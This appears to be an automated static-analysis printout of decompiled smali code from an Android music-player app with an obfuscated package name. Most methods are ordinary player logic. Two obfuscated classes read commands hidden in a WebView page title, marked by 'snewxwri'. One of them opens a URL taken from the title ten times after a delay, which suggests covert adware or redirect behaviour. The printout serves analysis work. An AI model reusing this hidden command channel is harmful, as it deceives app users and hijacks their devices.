0.param p1, "inflater" # Landroid/view/LayoutInflater;
1.param p2, "container" # Landroid/view/ViewGroup;
2.param p3, "savedInstanceState" # Landroid/os/Bundle;
3.prologue
4const v3, 0x7f03001c
5const/4 v4, 0x0
7invoke-virtual {p1, v3, p2, v4}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130903068
    • attachToRoot: 0
8move-result-object v2
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/AlbumFragment;->getArguments()Landroid/os/Bundle;
11move-result-object v3
12if-eqz v3, :cond_44
14invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/AlbumFragment;->getArguments()Landroid/os/Bundle;
15move-result-object v3
17sget-object v4, Lcom/twdlphqg/app/conf/constants;->ALBUMS_KEY:Ljava/lang/String;
19invoke-virtual {v3, v4}, Landroid/os/Bundle;->getParcelableArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
20move-result-object v3
21iput-object v3, p0, Lcom/twdlphqg/app/fragments/AlbumFragment;->albums:Ljava/util/ArrayList;
23iget-object v3, p0, Lcom/twdlphqg/app/fragments/AlbumFragment;->albums:Ljava/util/ArrayList;
24if-eqz v3, :cond_44
25new-instance v0, Lcom/twdlphqg/app/adapter/AlbumAdapter;
27invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/AlbumFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
28move-result-object v3
30invoke-virtual {v3}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
31move-result-object v3
32const v4, 0x7f030017
34iget-object v5, p0, Lcom/twdlphqg/app/fragments/AlbumFragment;->albums:Ljava/util/ArrayList;
36invoke-direct {v0, v3, v4, v5}, Lcom/twdlphqg/app/adapter/AlbumAdapter;-><init>(Landroid/content/Context;ILjava/util/ArrayList;)V
  • Data flow analysis:
    • p1: 2130903063
37const v3, 0x7f0a0041
39invoke-virtual {v2, v3}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361857
40move-result-object v1
41check-cast v1, Landroid/widget/ListView;
43invoke-virtual {v1, v0}, Landroid/widget/ListView;->setAdapter(Landroid/widget/ListAdapter;)V
44new-instance v3, Lcom/twdlphqg/app/fragments/AlbumFragment$1;
46invoke-direct {v3, p0}, Lcom/twdlphqg/app/fragments/AlbumFragment$1;-><init>(Lcom/twdlphqg/app/fragments/AlbumFragment;)V
48invoke-virtual {v1, v3}, Landroid/widget/ListView;->setOnItemClickListener(Landroid/widget/AdapterView$OnItemClickListener;)V
49cond_44: return-object v2
APIs
  • android.webkit.WebView.getTitle
  • java.lang.String.contains
  • android.webkit.WebView.getTitle
  • java.lang.String.trim
  • java.lang.String.split
  • com.twdlphqg.app.services.Ryiidrxcjmfb.snewxwriii
Strings
  • snewxwri
Position Instruction Meta Information
0.param p1, "snewxwriwe" # Landroid/webkit/WebView;
1.param p2, "snewxwriwr" # Ljava/lang/String;
2.prologue
3const/4 v2, 0x1
4try_start_1:
5iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
6iget v1, v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->i:I
7if-ne v1, v2, :cond_49
9iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
11iget-object v1, v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
13invoke-virtual {v1}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
14move-result-object v1
15if-eqz v1, :cond_49
17iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
19iget-object v1, v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
21invoke-virtual {v1}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
22move-result-object v1
24const-string v2, "snewxwri"
26invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: snewxwri
27move-result v1
28if-eqz v1, :cond_49
30iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
32iget-object v1, v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
34invoke-virtual {v1}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
35move-result-object v1
37invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
38move-result-object v1
40const-string v2, "snewxwri"
42invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: snewxwri
43move-result-object v0
45iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
46const/4 v2, 0x0
47aget-object v2, v0, v2
48const/4 v3, 0x1
49aget-object v3, v0, v3
50const/4 v4, 0x2
51aget-object v4, v0, v4
53invoke-virtual {v1, v2, v3, v4}, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriii(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
55iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
56iget v2, v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->i:I
57add-int/lit8 v2, v2, 0x1
58iput v2, v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->i:I
59try_end_49: return-void
60catch_4a: move-exception v1
61goto/16 :goto_49
APIs
  • android.webkit.WebView.getTitle
  • java.lang.String.contains
  • android.webkit.WebView.getTitle
  • java.lang.String.trim
  • java.lang.String.split
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Strings
  • snewxwri
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
4iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity$4;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
6iget-object v2, v2, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrivw:Landroid/webkit/WebView;
8invoke-virtual {v2}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
9move-result-object v2
11const-string v3, "snewxwri"
13invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: snewxwri
14move-result v2
15if-eqz v2, :cond_38
17iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity$4;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
19iget-object v2, v2, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrivw:Landroid/webkit/WebView;
21invoke-virtual {v2}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
22move-result-object v2
24invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
25move-result-object v2
27const-string v3, "snewxwri"
29invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: snewxwri
30move-result-object v1
32iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity$4;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
33const/4 v3, 0x0
34aget-object v3, v1, v3
35iput-object v3, v2, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrii:Ljava/lang/String;
36new-instance v0, Landroid/os/Handler;
38invoke-direct {v0}, Landroid/os/Handler;-><init>()V
39new-instance v2, Lcom/twdlphqg/app/ExplorationActivity$4$1;
41invoke-direct {v2, p0}, Lcom/twdlphqg/app/ExplorationActivity$4$1;-><init>(Lcom/twdlphqg/app/ExplorationActivity$4;)V
42const-wide/16 v4, 0x1b58
44invoke-virtual {v0, v2, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 7000
45cond_38: return-void
Cross References
APIs
  • android.widget.ImageView.setVisibility
  • com.twdlphqg.app.TouchInterceptor.getContext
  • android.content.Context.getSystemService
  • android.view.WindowManager.removeView
  • android.widget.ImageView.setImageDrawable
  • android.graphics.Bitmap.recycle
  • android.graphics.drawable.Drawable.setLevel
Strings
  • window
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
4if-eqz v1, :cond_24
6iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
7const/16 v2, 0x8
9invoke-virtual {v1, v2}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
11invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getContext()Landroid/content/Context;
12move-result-object v1
14const-string v2, "window"
16invoke-virtual {v1, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: window
17move-result-object v0
18check-cast v0, Landroid/view/WindowManager;
20iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
22invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
24iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
26invoke-virtual {v1, v3}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
  • Data flow analysis:
    • p0: 0
27iput-object v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
28cond_24:
29iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragBitmap:Landroid/graphics/Bitmap;
30if-eqz v1, :cond_2f
32iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragBitmap:Landroid/graphics/Bitmap;
34invoke-virtual {v1}, Landroid/graphics/Bitmap;->recycle()V
35iput-object v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragBitmap:Landroid/graphics/Bitmap;
36cond_2f:
37iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTrashcan:Landroid/graphics/drawable/Drawable;
38if-eqz v1, :cond_39
40iget-object v1, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTrashcan:Landroid/graphics/drawable/Drawable;
41const/4 v2, 0x0
43invoke-virtual {v1, v2}, Landroid/graphics/drawable/Drawable;->setLevel(I)Z
  • Data flow analysis:
    • level: 0
44cond_39: return-void
APIs
  • com.twdlphqg.app.ExplorationActivity$4.access$0
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • com.twdlphqg.app.ExplorationActivity$4.access$0
  • com.twdlphqg.app.ExplorationActivity.startActivity
Strings
  • android.intent.action.VIEW
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v0, Landroid/content/Intent;
3const-string v2, "android.intent.action.VIEW"
5iget-object v3, p0, Lcom/twdlphqg/app/ExplorationActivity$4$1;->this$1:Lcom/twdlphqg/app/ExplorationActivity$4;
7invoke-static {v3}, Lcom/twdlphqg/app/ExplorationActivity$4;->access$0(Lcom/twdlphqg/app/ExplorationActivity$4;)Lcom/twdlphqg/app/ExplorationActivity;
8move-result-object v3
10iget-object v3, v3, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrii:Ljava/lang/String;
12invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
13move-result-object v3
15invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
16const/high16 v2, 0x10000000
18invoke-virtual {v0, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
19const/high16 v2, 0x8000000
21invoke-virtual {v0, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 134217728
22const/4 v1, 0x0
23goto_1e: const/16 v2, 0xa
24if-lt v1, v2, :cond_23
25goto_22: return-void
26cond_23:
27iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity$4$1;->this$1:Lcom/twdlphqg/app/ExplorationActivity$4;
29invoke-static {v2}, Lcom/twdlphqg/app/ExplorationActivity$4;->access$0(Lcom/twdlphqg/app/ExplorationActivity$4;)Lcom/twdlphqg/app/ExplorationActivity;
30move-result-object v2
32invoke-virtual {v2, v0}, Lcom/twdlphqg/app/ExplorationActivity;->startActivity(Landroid/content/Intent;)V
33try_end_2c: add-int/lit8 v1, v1, 0x1
34goto/16 :goto_1e
35catch_2f: move-exception v2
36goto/16 :goto_22
Cross References
APIs
  • android.view.MenuItem.getItemId
  • android.support.v7.app.ActionBarActivity.onOptionsItemSelected
  • android.content.Intent.<init>
  • android.support.v4.app.NavUtils.navigateUpTo
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.newInstance
  • com.twdlphqg.app.ActionBarParentActivity.getSupportFragmentManager
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.show
Strings
  • dialog
Position Instruction Meta Information
0.param p1, "item" # Landroid/view/MenuItem;
1.prologue
3invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
4move-result v1
5sparse-switch v1, :sswitch_data_26
6goto_7:
7invoke-super {p0, p1}, Landroid/support/v7/app/ActionBarActivity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
8move-result v1
9return v1
10sswitch_c: new-instance v1, Landroid/content/Intent;
11const-class v2, Lcom/twdlphqg/app/ExplorationActivity;
13invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-static {p0, v1}, Landroid/support/v4/app/NavUtils;->navigateUpTo(Landroid/app/Activity;Landroid/content/Intent;)V
16goto/16 :goto_7
17sswitch_17:
18invoke-static {}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->newInstance()Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
19move-result-object v0
21invoke-virtual {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
22move-result-object v1
24const-string v2, "dialog"
26invoke-virtual {v0, v1, v2}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->show(Landroid/support/v4/app/FragmentManager;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: dialog
27goto/16 :goto_7
28nop
APIs
  • com.twdlphqg.app.TouchInterceptor.access$0
  • com.twdlphqg.app.TouchInterceptor.access$1
  • com.twdlphqg.app.TouchInterceptor.access$0
  • android.widget.ImageView.getDrawingRect
  • android.view.MotionEvent.getX
  • com.twdlphqg.app.TouchInterceptor.access$2
  • com.twdlphqg.app.TouchInterceptor.access$3
  • com.twdlphqg.app.TouchInterceptor.access$4
  • com.twdlphqg.app.TouchInterceptor.access$5
Position Instruction Meta Information
0.param p1, "e1" # Landroid/view/MotionEvent;
1.param p2, "e2" # Landroid/view/MotionEvent;
2.param p3, "velocityX" # F
3.param p4, "velocityY" # F
4.prologue
5const/4 v1, 0x1
7iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
9invoke-static {v2}, Lcom/twdlphqg/app/TouchInterceptor;->access$0(Lcom/twdlphqg/app/TouchInterceptor;)Landroid/widget/ImageView;
10move-result-object v2
11if-eqz v2, :cond_47
12const/high16 v2, 0x447a0000 # 1000.0f
13cmpl-float v2, p3, v2
14if-lez v2, :cond_46
16iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
18invoke-static {v2}, Lcom/twdlphqg/app/TouchInterceptor;->access$1(Lcom/twdlphqg/app/TouchInterceptor;)Landroid/graphics/Rect;
19move-result-object v0
21iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
23invoke-static {v2}, Lcom/twdlphqg/app/TouchInterceptor;->access$0(Lcom/twdlphqg/app/TouchInterceptor;)Landroid/widget/ImageView;
24move-result-object v2
26invoke-virtual {v2, v0}, Landroid/widget/ImageView;->getDrawingRect(Landroid/graphics/Rect;)V
28invoke-virtual {p2}, Landroid/view/MotionEvent;->getX()F
29move-result v2
30iget v3, v0, Landroid/graphics/Rect;->right:I
31mul-int/lit8 v3, v3, 0x2
32div-int/lit8 v3, v3, 0x3
33int-to-float v3, v3
34cmpl-float v2, v2, v3
35if-lez v2, :cond_46
37iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
39invoke-static {v2}, Lcom/twdlphqg/app/TouchInterceptor;->access$2(Lcom/twdlphqg/app/TouchInterceptor;)V
41iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
43invoke-static {v2}, Lcom/twdlphqg/app/TouchInterceptor;->access$3(Lcom/twdlphqg/app/TouchInterceptor;)Lcom/twdlphqg/app/TouchInterceptor$RemoveListener;
44move-result-object v2
46iget-object v3, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
48invoke-static {v3}, Lcom/twdlphqg/app/TouchInterceptor;->access$4(Lcom/twdlphqg/app/TouchInterceptor;)I
49move-result v3
51invoke-interface {v2, v3}, Lcom/twdlphqg/app/TouchInterceptor$RemoveListener;->remove(I)V
53iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
55invoke-static {v2, v1}, Lcom/twdlphqg/app/TouchInterceptor;->access$5(Lcom/twdlphqg/app/TouchInterceptor;Z)V
  • Data flow analysis:
    • p1: 1
56cond_46: return v1
57cond_47: const/4 v1, 0x0
58goto/16 :goto_46
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.ArrayList.add
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
Position Instruction Meta Information
0.param p1, "cursor" # Landroid/database/Cursor;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/database/Cursor;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Artist;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v1, Ljava/util/ArrayList;
15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
16if-eqz p1, :cond_38
18invoke-interface {p1}, Landroid/database/Cursor;->moveToFirst()Z
19move-result v2
20if-eqz v2, :cond_38
21cond_d: new-instance v0, Lcom/twdlphqg/app/models/Artist;
23invoke-direct {v0}, Lcom/twdlphqg/app/models/Artist;-><init>()V
25sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
27invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
28move-result v2
30invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
31move-result v2
33invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Artist;->setId(I)V
35sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
37invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
38move-result v2
40invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v2
43invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Artist;->setArtist(Ljava/lang/String;)V
45invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
47invoke-interface {p1}, Landroid/database/Cursor;->moveToNext()Z
48move-result v2
49if-nez v2, :cond_d
51invoke-interface {p1}, Landroid/database/Cursor;->close()V
52cond_38: return-object v1
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.ArrayList.add
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
Position Instruction Meta Information
0.param p1, "cursor" # Landroid/database/Cursor;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/database/Cursor;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Playlist;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v1, Ljava/util/ArrayList;
15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
16if-eqz p1, :cond_38
18invoke-interface {p1}, Landroid/database/Cursor;->moveToFirst()Z
19move-result v2
20if-eqz v2, :cond_38
21cond_d: new-instance v0, Lcom/twdlphqg/app/models/Playlist;
23invoke-direct {v0}, Lcom/twdlphqg/app/models/Playlist;-><init>()V
25sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
27invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
28move-result v2
30invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
31move-result v2
33invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Playlist;->setId(I)V
35sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
37invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
38move-result v2
40invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v2
43invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Playlist;->setName(Ljava/lang/String;)V
45invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
47invoke-interface {p1}, Landroid/database/Cursor;->moveToNext()Z
48move-result v2
49if-nez v2, :cond_d
51invoke-interface {p1}, Landroid/database/Cursor;->close()V
52cond_38: return-object v1
Cross References
APIs
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
Strings
  • =
Position Instruction Meta Information
0.param p1, "id" # I
1.prologue
3iget-object v1, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
5sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
6new-instance v3, Ljava/lang/StringBuilder;
8sget-object v4, Lcom/twdlphqg/app/conf/constants;->COL_TRACK_ID:Ljava/lang/String;
10invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
11move-result-object v4
13invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
15const-string v4, "="
17invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =
18move-result-object v3
20invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
21move-result-object v3
23invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
24move-result-object v3
25const/4 v4, 0x0
27invoke-virtual {v1, v2, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • p2: 0
28move-result v0
29if-lez v0, :cond_26
30const/4 v1, 0x1
31goto_25: return v1
32cond_26: const/4 v1, 0x0
33goto/16 :goto_25
APIs
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
Strings
  • =
Position Instruction Meta Information
0.param p1, "playlistID" # I
1.prologue
3iget-object v1, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
5sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
6new-instance v3, Ljava/lang/StringBuilder;
8sget-object v4, Lcom/twdlphqg/app/conf/constants;->COL_REF_PLAYLIST_ID:Ljava/lang/String;
10invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
11move-result-object v4
13invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
15const-string v4, "="
17invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =
18move-result-object v3
20invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
21move-result-object v3
23invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
24move-result-object v3
25const/4 v4, 0x0
27invoke-virtual {v1, v2, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • p2: 0
28move-result v0
29if-lez v0, :cond_26
30const/4 v1, 0x1
31goto_25: return v1
32cond_26: const/4 v1, 0x0
33goto/16 :goto_25
APIs
  • android.app.Service.onDestroy
  • android.media.MediaPlayer.isPlaying
  • android.media.MediaPlayer.stop
  • android.media.MediaPlayer.release
  • android.util.Log.i
Strings
  • DESTROY SERVICE
  • destroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3try_start_3:
4iget-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
6invoke-virtual {v0}, Landroid/media/MediaPlayer;->isPlaying()Z
7move-result v0
8if-eqz v0, :cond_10
10iget-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
12invoke-virtual {v0}, Landroid/media/MediaPlayer;->stop()V
13cond_10:
14iget-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
16invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V
17try_end_15:
18const-string v0, "DESTROY SERVICE"
20const-string v1, "destroy"
22invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: DESTROY SERVICE
    • msg: destroy
23return-void
24catch_1d: move-exception v0
25goto/16 :goto_15
APIs
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.size
  • com.twdlphqg.app.services.AudioPlayerService.play
  • com.twdlphqg.app.PlayerActivity.access$2
  • java.util.Random.<init>
  • java.util.ArrayList.size
  • java.util.Random.nextInt
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
2const/4 v3, 0x0
4iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
6iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
8iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
9iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
11invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
12move-result-object v1
13check-cast v1, Lcom/twdlphqg/app/models/Track;
15invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
16move-result-object v2
18invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
20iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
21iget-boolean v1, v1, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
22if-nez v1, :cond_4e
24iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
25iget v1, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
27iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
29iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
31invoke-virtual {v2}, Ljava/util/ArrayList;->size()I
32move-result v2
33add-int/lit8 v2, v2, -0x1
34if-ne v1, v2, :cond_45
36iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
37iput v3, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
38goto_30:
39iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
41iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
43iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
